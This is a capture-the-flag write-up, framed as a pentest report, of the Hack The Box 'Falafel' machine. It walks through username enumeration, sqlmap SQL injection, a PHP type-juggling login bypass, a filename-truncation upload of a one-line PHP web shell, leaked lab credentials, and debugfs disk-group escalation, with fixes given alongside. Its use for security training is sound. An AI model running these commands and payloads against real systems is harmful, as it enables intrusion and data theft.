writeup 2024-02-05 · 17 min read

Hack The Box Falafel Writeup (Hard Linux)

Hard Linux box. SQLi dumps the users table, a PHP type juggling collision logs in as admin, a truncated filename uploads a shell, and disk group reads root.

Hack The Box Falafel Writeup (Hard Linux)

Summary

Falafel is a hard Linux machine that runs a PHP application on Apache with only SSH and HTTP exposed. The login form at /login.php leaks valid usernames through its failure messages and is vulnerable to SQL injection, so sqlmap dumps the falafel database and hands over MD5 hashes for chris and admin; chris cracks with hashcat, while admin’s hash starts with 0e and is bypassed instead by submitting 240610708, whose own MD5 also begins with 0e, so PHP’s loose comparison treats both as zero. As admin, the image upload accepts a remote URL and truncates filenames over 236 bytes after the extension check, so a 240 byte name ending in .php.png lands on disk as .php and gives command execution. Plaintext database credentials in /var/www/html/connection.php give moshe’s SSH password, membership of the video group lets a screenshot of yossi’s tty be read from /dev/fb0 to recover his password, and yossi’s disk group membership allows debugfs on /dev/sda1 to read anything on the filesystem, including root.txt.

Introduction

This document presents the findings and results of the penetration test conducted by Behind Security on the web application and server environment hosted at “falafel.htb.”

Scope

The engagement scope encompassed both automated and manual testing techniques to evaluate the web application’s resistance against various attack vectors. Full compromise of the target system is inside the scope.

Methodology

Behind Security’s penetration test followed a comprehensive and structured methodology, incorporating the following key phases:

  1. Reconnaissance: The initial phase involved gathering information about open ports.

  2. Enumeration: In this phase, Behind Security conducted an in-depth enumeration of the target system, identifying exposed services, web server directories, and potential entry points for further analysis.

  3. Vulnerability Assessment: Automated scanning tools and manual techniques were employed to identify potential security vulnerabilities in the web application and server configuration.

  4. Exploitation: Vulnerabilities that posed significant risks were further exploited to verify their impact on the system’s security.

  5. Post-Exploitation: In the final phase, Behind Security attempted to escalate privileges and gain deeper access to the system, simulating real-world attack scenarios.

Assessment Goals

The primary goals of the penetration test were to:

  • Identify and validate potential vulnerabilities in the web application and server environment.

  • Assess the effectiveness of existing security controls and configurations.

  • Evaluate the overall security posture against common attack vectors, including SQL injection, privilege escalation, and insecure password storage.

  • Provide detailed and actionable recommendations to remediate identified vulnerabilities and enhance the system’s security.

  • Provide a detailed and insightful penetration test report to everyone interested in cybersecurity.

High-Level Summary

The penetration test conducted by Behind Security on the target system “falafel.htb” revealed multiple critical vulnerabilities across various aspects of the web application and server configuration.

Summary of Findings:

  1. Web Server Enumeration (Low Severity): The application is running on Apache/2.4.18, with PHP running on the backend. The robots.txt file indicates that files ending with .txt won’t get indexed, hinting at the presence of hidden text files in the directory tree.

  2. Directory Bruteforcing (Low Severity): Through gobuster dir, Behind Security gained insights into the site structure, identifying potential entry points and hidden directories.

  3. Username Enumeration (Medium Severity): The login form at http://10.10.10.73/login.php discloses valid usernames upon login failure, exposing a list of valid usernames.

  4. SQL Injection - 10.10.10.73/login.php (Critical Severity): The application was found vulnerable to SQL injection, enabling unauthorized access to the database and potential data extraction.

  5. Hash Cracking and Insecure Password (High Severity): MD5 hashing for user passwords was identified as a weak practice, leading to successful password cracking using the hashcat tool.

  6. PHP Type Juggling and Hash Collision (High Severity): The presence of “0e” in the admin password hash indicates a vulnerability related to PHP Type Juggling, potentially allowing attackers to bypass authentication.

  7. Initial Access - RCE by Tricking the Logic Behind the Admin’s Upload Files Functionality (Critical Severity): The application’s file upload functionality allows an attacker to upload PHP files and execute remote code due to insufficient file name length validation.

  8. Post-Exploitation - Horizontal Privilege Escalation - Moshe (High Severity): Sensitive database connection details were found stored in plaintext, enabling the retrieval of user “moshe”’s password.

  9. Post-Exploitation - Horizontal Privilege Escalation - Yossi (High Severity): Privileges associated with the “video” group allowed an escalation of privileges for the user “yossi.”

  10. Post-Exploitation - Vertical Privilege Escalation - root (Critical Severity): The user “yossi” being part of the “disk” group allowed access to critical data, granting privileges almost equivalent to root access.

Recommendations: Based on the findings, Behind Security recommends the following mitigation measures:

  • Implement secure password hashing algorithms such as bcrypt or Argon2 and enforce strong password policies.

  • Conduct regular code reviews and security assessments to identify and fix vulnerabilities.

  • Implement strict input validation and sanitize user inputs to prevent SQL injection attacks.

  • Enforce secure file upload policies with proper file name length validation and content type checks.

  • Store sensitive information, such as database credentials, securely and avoid plaintext storage in source code.

  • Apply least privilege principles to user accounts and limit access to sensitive resources.

Conclusion: The penetration test on “falafel.htb” uncovered critical vulnerabilities that require immediate attention and remediation. By addressing these issues and implementing the recommended measures, the system can enhance its security posture, protect user data, and mitigate potential risks of exploitation and unauthorized access. Regular security assessments and proactive monitoring are essential to maintain a robust and resilient security environment.

Independent Challenge - 10.10.10.73

export IP=10.10.10.73

Service Enumeration

IP AddressPorts Open
10.10.10.73TCP: 22, 80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for 10.10.10.73
Host is up (0.086s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA)
|   256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA)
|_  256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/*.txt
|_http-favicon: Unknown favicon MD5: B8A9422F95F0D71B26D25CE15206BB79
|_http-title: Falafel Lovers
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Server Enumeration

The web server version is Apache/2.4.18, and there’s php running on the backend. The robots.txt file discloses that all files ending with .txt won’t get indexed by web crawlers, indicating that there might be hidden text files present on the directory tree.

Directory Bruteforcing

Vulnerability Explanation: During the penetration test, Behind Security conducted a directory bruteforcing scan on the web application hosted at “falafel.htb.”

Vulnerability Fix: Implement real-time security monitoring to detect and block directory bruteforcing activity.

Severity: Low

Steps to Reproduce the Attack: An attacker simply needs to run gobuster against falafel.htb. The command used during the engagement was: gobuster dir -u http://falafel.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -o scans/gobuster -x php,txt

Finding:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
===============================================================
2023/08/03 08:35:40 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 290]
/index.php            (Status: 200) [Size: 7203]
/login.php            (Status: 200) [Size: 7063]
/profile.php          (Status: 302) [Size: 9787] [--> login.php]
/images               (Status: 301) [Size: 311] [--> http://falafel.htb/images/]
/uploads              (Status: 301) [Size: 312] [--> http://falafel.htb/uploads/]
/header.php           (Status: 200) [Size: 288]
/assets               (Status: 301) [Size: 311] [--> http://falafel.htb/assets/]
/footer.php           (Status: 200) [Size: 0]
/upload.php           (Status: 302) [Size: 0] [--> profile.php]
/css                  (Status: 301) [Size: 308] [--> http://falafel.htb/css/]
/style.php            (Status: 200) [Size: 6174]
/js                   (Status: 301) [Size: 307] [--> http://falafel.htb/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/robots.txt           (Status: 200) [Size: 30]
/cyberlaw.txt         (Status: 200) [Size: 804]
/connection.php       (Status: 200) [Size: 0]
/.php                 (Status: 403) [Size: 290]

Username Enumeration

Vulnerability Explanation: Behind Security identified a username enumeration vulnerability in the login form of the web application hosted at http://10.10.10.73/login.php. The vulnerability allows an attacker to determine valid usernames on the system by leveraging the login failure response behavior.

Vulnerability Fix: Modify the login failure response to provide a generic error message that does not disclose whether the failure is due to an invalid username or a wrong password. This ensures that attackers cannot differentiate between valid and invalid usernames based on the response. Also, implement an account lockout policy that temporarily locks user accounts after a certain number of failed login attempts. This prevents attackers from conducting brute force attacks effectively.

Severity: Medium

Steps to Reproduce the Attack: Set up the wfuzz tool with the appropriate options for fuzzing the login page. In the provided command below, the -w option specifies the wordlist containing potential usernames, and the FUZZ placeholder is used to replace the usernames during the attack.

Command: wfuzz --hw 657 -d "username=FUZZ&password=test" -w /usr/share/seclists/Usernames/Names/names.txt -H "Content-Type: application/x-www-form-urlencoded" http://falafel.htb/login.php

Finding:

1
2
3
4
5
6
=====================================================================
ID           Response   Lines    Word       Chars       Payload                    
=====================================================================

000000086:   200        102 L    659 W      7091 Ch     "admin"                    
000001886:   200        102 L    659 W      7091 Ch     "chris"

SQL Injection - 10.10.10.73/login.php

Vulnerability Explanation: During the investigation, Behind Security observed unusual behavior in the application’s response to certain inputs, indicating potential security flaws. The application is vulnerable to SQL injection, a type of attack that allows malicious users to insert malicious SQL code into input fields. This manipulation enables unauthorized access to the application’s database and, in some cases, extraction of sensitive information or even control over the database.

Vulnerability Fix: Validate and sanitize all user inputs to ensure they conform to the expected format, minimizing the risk of malicious input manipulation. Utilize parameterized queries or prepared statements to ensure proper separation of SQL commands and user-provided input, thereby preventing SQL injection attacks.

Severity: Critical

Steps to Reproduce the Attack: The attacker simply needs to run an automated SQL injection tool, “nmap”. The command used during the engagement was: sqlmap -u http://falafel.htb/login.php --forms --threads=5 --level 5 --risk 3 --dbms=mysql --string "Wrong identification" -D falafel -T users --dump

Is important to note that the analysis of the behavior in the application’s response made us have the conclusion that whenever the application responds the login attempt with “Try again…”, the injection is unsuccessful. With that in mind, we added the “–string” parameter, which specifies a text string that “sqlmap” will use to identify when the application responds with an error message related to SQL injection.

Snippet of the finding:

1
2
3
4
5
6
7
8
9
10
11
12
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 9934=9934-- CWeo&password=admin
    Vector: AND [INFERENCE]

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: username=admin' AND 8428=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- kpfd&password=admin
    Vector: AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
---

Database dump:

1
2
3
4
5
6
7
8
9
Database: falafel
Table: users
[2 entries]
+----+--------+----------+----------------------------------+
| ID | role   | username | password                         |
+----+--------+----------+----------------------------------+
| 1  | admin  | admin    | 0e462096931906507119562988736854 |
| 2  | normal | chris    | d4ee02a22fc872e36d9e3751ba72ddc8 |
+----+--------+----------+----------------------------------+

Hash Cracking and Insecure Password

Vulnerability Explanation: The vulnerability lies in the usage of the MD5 hashing algorithm to store user passwords. MD5 is a weak cryptographic hash function that is prone to vulnerabilities such as collision attacks and brute force cracking. After dumping the database, the hash for user “chris” was successfully cracked using the “hashcat” tool, exposing the plaintext password.

Vulnerability Fix: Transition from MD5 to a more secure hashing algorithm, such as bcrypt, Argon2, or SHA-256. These algorithms are specifically designed to resist brute force attacks and are considered more robust against password cracking attempts. Also, enforce password complexity requirements and policies, encouraging users to create strong, unique passwords. If possible, implement MFA as an additional layer of security to protect user accounts.

Steps to Reproduce the Attack: The attacker needs to have access to the database information and posses the password hash for the user “chris”, as well as have the wordlist “rockyou.txt” downloaded. Utilizing the tool “hashcat”, we were able to crack the hash. The command used during the engagement was: hashcat -m 0 -a 0 -d 1 hash.txt rockyou.txt. It is important to note the presence of the “-d 1” flag, which specifies the device to be used to crack the hash. In this case, we used a GPU, in order to have more performance. Use “-d 0” if you want to crack with a CPU.

PHP Type Juggling and Hash Collision

Falafel CTF gave an invaluable hint about the challenge. Text after logging in as “chris” on the website:

1
2
3
4
5
6
# Chris

#### Juggler by day, Hacker by night

#### Hey, my name is chris, and I work at the local circus as a juggler. After work, I always eat falafel.  
By night, I pentest random websites as a hobby. It's funny how sometimes both the hobby and work have something in common..

There are several mentions on “juggler”, and the web server is indeed running php.

Vulnerability Explanation: PHP Type Juggling is a vulnerability that arises due to loose comparison and type conversion behavior in PHP. In PHP, loose comparison operators (== and !=) can lead to unexpected results when comparing variables of different types. For example, when comparing a string and an integer, PHP may automatically convert the string to an integer for the comparison. Behind Security noticed the prefix “0e” on the admin password hash. The prefix “0e” in PHP is a pattern that can be found in some numeric values when compared using the comparison operators (== and !=). This prefix is used to represent a number in scientific notation, where “e” stands for the power of 10 raised to a certain exponent. For example, the value “0e123” is interpreted as “0 * 10123”, which equals 0. Similarly, “0e456” is interpreted as “0 * 10

456”, which is also equal to 0. There is a vulnerable code example below to illustrate the vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $stored_hash = "0e462096931906507119562988736854"; // Admin password hash
    $user_input = $_POST["password"];

    // Converting user input to MD5
    $hashed_input = md5($user_input);

    if ($hashed_input == $stored_hash) {
        // Vulnerable authentication check
        echo "Welcome, admin!";
    } else {
        // Authentication failed
        echo "Invalid password.";
    }
}
?>

The back-end code uses loose comparison (==) to check if the user-inputted password matches the stored hash. Due to the vulnerable hash’s “0e” prefix, the comparison will treat the user’s input as the number “0” if it does not start with a numeric value, which means any input that results in a “0” after the “0e” prefix will be considered a valid match.

Vulnerability Fix: To prevent PHP Type Juggling vulnerabilities, developers should use strict comparison operators (=== and !==), which consider both value and data type. By using strict comparison, PHP will not perform automatic type conversion, reducing the risk of unexpected behavior in comparisons.

Severity: Critical

Steps to Reproduce the Attack: Behind Security searched for a specially crafted string that its md5 version starts with “0e” and submitted as the password for the user “admin”. The password submitted was: 240610708. Its md5 hash is equal to: 0e462097431906509019562988736854 , which PHP interprets as 0. It matches the stored hash “0e462096931906507119562988736854”, so the authentication was successful.

Initial Access - RCE by Tricking the Logic Behind the Admin’s Upload Files Functionality

Vulnerability Explanation: The vulnerability exists in the file upload functionality of the web app. The application allows the admin user to upload images by sending a specific HTTP POST request to the server. There is a server-side check to verify if the uploaded file is an image or a GIF, requiring the file name to end with either .png, .jpg, or .gif. However, the server does not adequately validate the length of the file name, which leads to a significant security flaw. After conducting tests with file names of varying lengths, it was observed that the server automatically truncates file names exceeding 236 bytes. This truncation occurs after the file extension is verified, allowing an attacker to bypass the image type check by manipulating the file name.

Vulnerability Fix: The following measures are recommended by Behind Security:

  • Implement strict validation of the file name length, ensuring that filenames exceeding a specified limit are rejected.

  • Use content type validation in addition to file extension checks to verify the uploaded file’s type.

  • Sanitize and validate user input to prevent potential malicious file names or content.

  • Use a secure file handling mechanism that disallows direct execution of uploaded files.

Severity: High

Steps to Reproduce the Attack: The attacker conducts the following steps to exploit the vulnerability:

  1. The attacker creates a specially crafted file with a name of exactly 240 bytes, ending with .php.png. An example would be: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png

  2. The attacker inserts malicious php code inside the newly crafted file. An example would be: &lt;?php system($_REQUEST['cmd'])?&gt;, or even a php reverse shell.

  3. The attacker uploads the file by running a simple python http server on its local machine (python3 -m http.server 80) and specifying its IP address and file name to the upload form. Example: http://10.10.10.10/AAAA[...].php.png

  4. The file passes the extension check and the server automatically truncates the file name to 236 bytes, but the extension .php remains intact.

  5. The attacker directly accesses the uploaded file and is able to execute commands remotely.

Post-Exploitation

Horizontal Privilege Escalation - Moshe

Vulnerability Explanation: The vulnerability was identified in the file “/var/www/html/connection.php,” which stores crucial database connection details.

1
2
3
4
define('DB_SERVER', 'localhost:3306');
   define('DB_USERNAME', 'moshe');
   define('DB_PASSWORD', 'falafelIsReallyTasty');
   define('DB_DATABASE', 'falafel');

The file contained the database server details, username, password, and the database name, all in plaintext. This oversight allowed Behind Security to retrieve the user “moshe”’s password, “falafelIsReallyTasty,” without much effort, and log in via SSH.

Vulnerability Fix: Avoid storing sensitive information, such as database credentials, in plaintext within source code or accessible files. Instead, consider using environment variables or a secure configuration management system to store and retrieve sensitive data.

Severity: High

Horizontal Privilege Escalation - Yossi

“moshe” user is part of the “video” group, so it can access monitor information about logged users. We can confirm this information by running the command id.

1
uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news),22(voice),25(floppy),29(audio),44(video),60(games)

Running the command ps aux we are able to verify that the user “yossi” is indeed logged in to the machine, and has a valid tty shell.

1
yossi     1412  0.0  0.3  22600  3292 tty1     S+   Aug04   0:00 -bash

The screen data is saved to /dev/fb0. The resolution for the screen can be found at /sys/class/graphics/fb0/virtual_size There is more information about specific group here.

yossi:MoshePlzStopHackingMe!

Vertical Privilege Escalation - root

Yossi is part of the “disk” group. According to HackTricks, “This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.”

With that in mind, we just have to simply use “debugfs” to access /dev/sd[a-z][1-9] and find where “/” is mounted.

1
2
3
4
yossi@falafel:~$ debugfs /dev/sda1
debugfs 1.42.13 (17-May-2015)
debugfs:  cd /root 
debugfs:  cat root.txt
This post is licensed under CC BY 4.0 by the author.